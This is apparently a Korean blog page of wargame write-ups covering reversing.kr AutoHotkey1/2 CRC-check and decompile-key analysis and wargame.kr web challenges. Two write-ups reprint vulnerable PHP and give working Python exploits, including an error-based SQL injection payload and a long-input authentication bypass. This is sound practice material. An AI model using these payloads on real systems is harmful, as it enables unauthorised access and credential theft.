해당문제의 바이너리를 실행하면 crc체크에 걸려서 exe corrupted이라는 문자열을 출력한다.

 

 

에러 문자열 상단의 crc 체크를 진행하는 함수 내부를 진행해보면 다음과 같은 반복문이 나온다.

 

 

해당 코드에 대해 분석해보면 CALL AHK2.00458C2D 함수를 통해 파일의 처음부터 1바이트씩 값을 가져와 이 값을 토대로 CALL AHK2.00450F95 함수에서 crc 체크섬값을 만든다. 이 때 반복문이 탈출하는 값이 아래와 같이 32A1F란 값인데 이 값이 파일의 전체크기인가하고 헥스에디터로 열어서 확인하니 마지막 4바이트값은 포함이 안되있는걸 볼 수 있었다. 

 

 

 

왜 마지막 4바이트값은 포함이 안되었을까 생각해보다가 일단 넘어가서 이후로직을 분석하기 위해 구해진 체크섬값과 AAAAAAAA를 xor한 값을 통해 최종적으로 구한 값을 EBP-10영역의 값과 비교할 때 그 이유를 알게되었다. EBP-10의 값을 보면 39A64194라는 값이 존재하는데 이전의 체크섬 계산시 사용하지 않았던 파일의 마지막 4바이트값이었다.

 

 

여기까지 분석한 후 이 값만 맞춰주면되겠다 생각하고 EBP-10영역의 값을 522D85D4로 맞춰 JNZ에서 점프하지 않도록 진행하면 끝이겠거니 했는데 그대로 exe corrupted가 발생하는걸 보니 이후로직도 분석이 필요한 것 같았다.

 

 

해당부분은 처음에 계속 분석해봐도 감이 잡히지 않아 AHK1의 해당영역과 AHK2의 해당영역을 비교하면서 분석해봤다. 그 결과 정상적인 흐름으로 진행되려면 [EBP+EAX-34]의 16바이트 값과 [EBP+EAX-24]의 16바이트 값이 동일해야 했고 [EBP+EAX-24] 영역의 16바이트 값은 AHK1와 AHK2가 동일하게 박혀있었는데 [EBP+EAX-34] 값을 AHK2에서 가져오지 못하는걸 볼 수 있었다.

처음엔 CALL AHK2.00458D16 , CALL AHK2.00458C2D 함수를 분석하지 않고 적당히 flag변조해서 00450A04주소의 반복문으로 진입해 [EBP+EAX-34] 영역에 비교하는 값을 강제로 삽입하고 진행해봤는데 역시나 exe corrupted 메시지가 발생하였다.

어쩔 수 없이 위의 두 함수를 분석해본 결과 첫 CALL AHK2.00458D16 함수 호출 시 AHK1과 달리 AHK2에서 다음과 같은 에러가 발생하는걸 볼 수 있었고 해당 에러에 대해 찾아보니 SetFilePointer 함수 호출 시 새로운 파일 포인터 위치가 음수일 경우 발생하는 에러인걸 알 수 있었다. 참고(http://nimto.tistory.com/574)

 

 

CALL AHK2.00458D16 함수가 SetFilePointer과 같은 역할을 하는 함수라 추측했고 함수인자를 확인해보니 두번째 인자인 파일포인터를 옮길 지점의 값이 파일의 전체크기보다 훨씬 큰 값으로 세팅되어있는걸 볼 수 있었다.      

 

 

이 값때문에 일단 에러가 발생한거라고 생각했고 AHK1에서 이 값이 어떻게 들어가는지 확인해보니 32800이란 값이 들어가고 있는걸 확인할 수 있었다. 이후 DC9A8390을 일단 32800으로 변경하여 함수를 호출해보니 에러가 발생하지 않았고 이후 함수인 CALL AHK2.00458C2D 호출 후 871a80영역에 정상적으로 871a90영역과 동일한 값이 세팅되는걸 볼 수 있었다. 세팅된 값을 어떻게 가져오는거지하고 몇번 더 트레이싱해본결과  CALL AHK2.00458D16 함수를 통해 파일 포인터를 새로 지정한 뒤 해당 파일 포인터를 기준으로 CALL AHK2.00458C2D 함수를 호출하여 16바이트값을 가져와 871a80 영역에 저장하고 871a90의 값과 비교하는 형태인 것 같았다.

여기까지 진행하고 실행해보면 다음과 같이 문제가 나왔고 이 문제의 답을 구글링하면 정답을 구할 수 있었다.

 

 

문제를 풀면서 느낀점은 기본실력이 너무 부족하다는 것이었다. AHK1과 비교하면서 어찌어찌 풀긴했지만 문제자체를 완벽히 이해하지 못하고 풀었다는 생각이 들고 AHK1과 비교하지 않고 AHK2 바이너리만 가지고 풀었다면 과연 풀 수 있었을까 라는 생각이 들었다. 반성할 부분이 많고 더 열심히 공부해서 실력을 꾸준히 늘린 후에 다시한번 풀어보면서 그때는 완벽히 문제를 이해하고 풀어보도록 하겠다.

 

 

 

 

 

   

 

 

 

 

 

 

'Wargame > reversing.kr' 카테고리의 다른 글

reversing.kr HateIntel  (0) 2018.07.03
reversing.kr PEPassword  (0) 2018.07.03
reversing.kr AutoHotkey1  (0) 2018.06.29
Reversing.kr Twist1  (0) 2018.02.27
Reversing.kr Easy_ELF  (0) 2018.02.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 AutoHotkey 문제다.

 

문제에서 요구하는건 DecryptKey와 EXE's Key다.

 

AutoHotkey는 AutoHotkey 언어로된 소스코드를 exe로 컴파일할 때 디컴파일방지를 위해 나름대로 패스워드를 지정해서 디컴파일 시 이 패스워드를 정확히 입력해줘야 디컴파일이 정상적으로 이루어지게 된다. 이 디컴파일 시 필요한 패스워드가 위에서 요구하는 DecryptKey이고 Exe's Key는 디컴파일된 소스코드내에서 사용자에게 요구하고 있는 값으로 소스코드만 볼 수 있으면 찾아낼 수 있다.

 

DecryptKey같은 경우 바이너리가 실행될 때 메모리상에서 평문형태로 존재하고있어 쉽게 찾을 수가 있다.

 

어려운 문제는 아니었는데 처음에 UPX로 패킹되어있는걸 언팩한 바이너리로 분석을 하다가 미궁에 빠졌었다. 언팩한 파일을 실행하면 crc 체크 영역에 걸려서 에러루틴으로 빠지는데 이 부분을 분석하기 시작한게 문제였다. 결론적으로 내가 했던 행위는 AutoHotkey2 문제를 풀기위한 행위였고 AutoHotkey1에서 원하는 요구사항을 이루는데는 전혀 상관이없는 행위었다.

 

이걸 뒤늦게 깨닫긴 했는데 어차피 AutoHotkey2 문제도 풀어보게될 거니까 그때 도움이 될거라 생각한다. 쨋든 패킹된 바이너리를 실행해서 OEP까지 간다음 crc체크를 통해 에러가 터졌을때 출력되는 문자열 영역을 기준으로 바로 위에있는 crc체크 함수 내부를 분석하다보면 다음과 같이 Hash처리된 값하나가 ebx에 박히는걸 볼 수 있었다.   

 

 

요게 DecryptKey고 이걸가지고 exe2ahk.exe를 통해 디컴파일을 수행하면 다음과 같이 소스코드 내에서 exe's Key를 확인할 수 있다.

 

 

요거 두개를 md5 복호화해주는 사이트에서 돌려주면 정답을 구할 수 있다.

 

 

 

 

'Wargame > reversing.kr' 카테고리의 다른 글

reversing.kr PEPassword  (0) 2018.07.03
reversing.kr AutoHotkey2  (0) 2018.07.01
Reversing.kr Twist1  (0) 2018.02.27
Reversing.kr Easy_ELF  (0) 2018.02.17
Reversing.kr CSHOP  (0) 2018.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

chall.stypr.com PHPSandbox2

2018. 6. 21. 02:47

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com yetanothersql

2018. 6. 21. 02:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com PHPSandbox

2018. 6. 21. 02:38

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



마지막 남은 문제다. 어떻게 풀지는 다 생각해놨는데 클라이언트 IP가 내 IP가 아니고 이상한 고정된 아이피로 박혀있어서 문제를 풀 수가 없다. 문제가 깨졌나 일단 문의를 했는데 깨진거 풀리면 마저풀어보거나 깨졌으면 여기까지만 풀고 마무리지어야겠다.

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr lazy judge  (1) 2019.07.31
wargame.kr counting query  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,
<?php
 
if (isset($_GET['view-source'
])) {
     
show_source(__FILE__
);
     exit();
 }
 include(
"./inc.php"); 
// database connect.
 
include("../lib.php"); 
// include for auth_code function.

 
ini_set('display_errors',false
);

 function 
err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"
); }
 function 
uniq($data){ return md5($data.uniqid
());}
 function 
make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)"
);}
 function 
counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')"
);}
 function 
pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"
); }
 function 
count_init($id) { return mysql_query("delete from login_count where id='$id'"
); }
 function 
t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"
); };

 if(empty(
$_POST['id']) || empty($_POST['pw']) || empty($_POST['type'
])){
  
err("Parameter Error :: missing"
);
 }

 
$id=mysql_real_escape_string($_POST['id'
]);
 
$ps=mysql_real_escape_string($_POST['pw'
]);
 
$type=mysql_real_escape_string($_POST['type'
]);
 
$ip=$_SERVER['REMOTE_ADDR'
];

 
sleep(2); 
// not Bruteforcing!!

 
if($id!=$ip
){
  
err("SECURITY : u can access with allotted id only"
);
 }

 
$row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"
));
 if(
$row[0]!=1
){
  if(
false === make_id($id
)){
   
err("DB Error :: create user error"
);
  }
 }
 
 
$row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"
));
 
$log_count = (int)$row[0
];
 if(
$log_count >= 4
){
  
pw_change($id
);
  
count_init($id
);
  
err("SECURITY : bruteforcing detected - password is changed"
);
 }
 
 
t_table($id); 
// don`t access the other account

 
if(preg_match("/all_user_accounts/i",$type
)){
  
err("SECURITY : don`t access the other account"
);
 }

 
counting($id); 
// limiting number of query

 
if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"
)){
  
err("DB Error :: ".mysql_error
());
 }

 
$row=mysql_fetch_array($result
);
 
 if(empty(
$row['user_id'
])){
  
err("Login Error :: not found your `user_id` or `password`"
);
 }

 echo 
"welcome <b>$id</b> !! (Login count = $log_count)"
;
 
 
$row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"
));

 
//patched 04.22.2015
 
if (empty($ps)) err("DB Error :: data not found.."
);

 if(
$row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"
; }

?>

 

문제의 코든데 type파라미터에서 SQLi가 대놓고 터진다. 코드를 좀 더 보면 쿼리를 4번날리면 패스워드가 초기화되서 3번안에 현재 패스워드값을 구한다음 인증하면 된다. 어차피 에러를 친절히 뿌려줘서 에러베이스드로 뽑으면되기때문에 3번갈필요도없이 2번이면 패스워드 구하고 인증까지 가능하다.

 

별다른 필터도 없어서 그냥 바로 데이터를 뽑으려고 했는데 간단한 문제가 두가지정도 있었다.

 

일단 데이터를 뽑을 때 (select ps from t_user) 요런식으로 데이터부분을 서브쿼리형태로 지정해주면 Can't reopen table: 't_user' 요런 에러가 반겨줬다. 찾아보니 임시테이블은 동시에 두군데 이상에서 참조할 수 없어 발생한다고 한다. 이건 근데 어차피 SQLI가 터지는 쿼리의 테이블이 t_user니까 ps로 바로 뽑으면 되서 문제될게 없었다.

 

여기서 두번째 문제가 발생했는데 내가 젤먼저 썻던 에러베이스 구문인 extractvalue, updatexml에서 서브쿼리 형태로 데이터를 뽑지않고 다이렉트로 컬럼명을 써주게 되면 Only constant XPATH queries are supported 요런에러가 뜨면서 데이터가 안뽑혔다.

 

즉 데이터 부분을 서브쿼리로 지정하지 않고 컬럼명을 다이렉트로 쓴 상태로 데이터를 뽑을 수 있는 에러베이스드 구문이 필요했는데 기존의 정리해논 group by사용하는 구문으로 시도해보니 데이터가 잘 뽑혔다.

 

요런식으로 간단하게 코드짜서 익스했다.


import urllib2

import sys


def request(data):

    url = "http://wargame.kr:8080/counting_query/login_ok.php"

    req = urllib2.Request(url,data)

    req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')

    req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')

    response = urllib2.urlopen(req).read()

    if "bruteforcing detected" in str(response):

        print "Login Count 4 Fail.."

        sys.exit(1)

    return response



payload = "id=10.0.2.2&pw=123&type="+urllib2.quote("1 or row(1,1)>(select count(*),concat(ps,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)-- x")

result = request(payload).split("'")[1]

result = result[:len(result)-1]

print "[*]Find PS = "+result


payload = "id=10.0.2.2&pw=" + result + "&type=2"

result1 = request(payload).split(':')[1]

print "[*]Find Flag = " + result1.split('<')[0]

'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr lazy judge  (1) 2019.07.31
wargame.kr pw crack  (0) 2018.05.10
wargame.kr login with crypto! but..  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

 <?php


if (isset($_GET['view-source'])) {
    
show_source(__FILE__);
    exit();
}

include(
"../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 
mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 
mysql_select_db("login_with_crypto_but");
}

function 
init(){
 
db_conn();
 
$password crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 
mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 
mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 
$s_key "L0V3LySH:butsheismyxgf..";
 
$s_vector_iv mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DESMCRYPT_MODE_ECB), MCRYPT_RAND);
 
$en_str mcrypt_encrypt(MCRYPT_3DES$s_key$strMCRYPT_MODE_ECB$s_vector_iv);
 
$en_base64 base64_encode($en_str);
 
$en_hex bin2hex($en_str);
 return 
$en_hex;
}

function 
sucker_enc($str){
 for(
$i=0;$i<8;$i++) $str enc($str);
 return 
$str;
}

function 
get_password($user,$ssn){
 
db_conn();
 
$user mysql_real_escape_string($user);
 
$ssn  mysql_real_escape_string($ssn);
 
$result mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 
$row mysql_fetch_array($result);
 if (
$row === false) {
  die(
"there is not valid account!");
 }
 return 
$row[0]; 
}

ini_set("display_errors"true);

if( (isset(
$_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 
sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 
if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if(
$_POST['user'] == "admin"){
   echo 
"Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo 
"Login Success. but you r not 'admin'..";
  }
 }else{
  echo 
"Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>



코드를 보면 핵심적인 부분이 바로 이부분인데


if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


이걸 참으로 만들려면 get_password함수가 SQLI자체가 불가능하기 때문에 느슨한 비교를 하고 있는걸 통해 뭔가를 만들어내야 할 것 같았다.


pass값으로는 줄 수 있는게 딱히 없었고 get_password의 리턴값을 false나 null로 만들어야 할 것 같았다. 근데 false는 함수내에서 리턴이 될 수 없도록 비교하는 부분이 있었고 어떻게든 null을 리턴하게 만들어야 했는데 이를 가능하게 하려면 PHP Overflow를 이용해주면 된다.


get_password 함수를 잘 보면 sucker_enc 함수 내에서 enc함수를 8회 반복 호출하면서 ssn값을 3DES암호화를 한다. 이 때 일정길이 이상의 ssn값을 받아 이 작업을 하게 되면 암호화과정에서 BOF가 발생하면서 에러가 터져 mysql_query 실행 결과가 false가 리턴되고 false를 통해 mysql_fetch_array를 실행하게되면 null이 리턴되서 최종적으로 get_password 리턴결과가 null이 된다.


요렇게 BOF를 통해 null을 리턴한후 pass값을 공백으로 보내주면 아래와같은 느슨한 비교로 인해 




if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


요 구문이 참이되고 플래그가 나오는데 문자열길이가 너무 길면 Allowed memory size of 134217728 bytes exhausted (tried to allocate 51197953 bytes) 요런 에러가 뜨고 너무 적으면 BOF가 안터지기 때문에 둘 사이의 적당한 문자열 길이를 테스트해보면서 넣어주면된다. 


요런식으로 코드짜서 익스했다.


import urllib2
import sys

def request(data):
url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')
response = urllib2.urlopen(req).read()
return response


payload = "user=admin&ssn="+"0"*100000+"&pass="
result = request(payload)
print "[*]Find Flag "+result

 


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr pw crack  (0) 2018.05.10
wargame.kr counting query  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
wargame.kr zairo  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

wargame.kr CustomOS

2018. 5. 10. 00:09

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

wargame.kr DLL with notepad

2018. 5. 9. 21:13

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.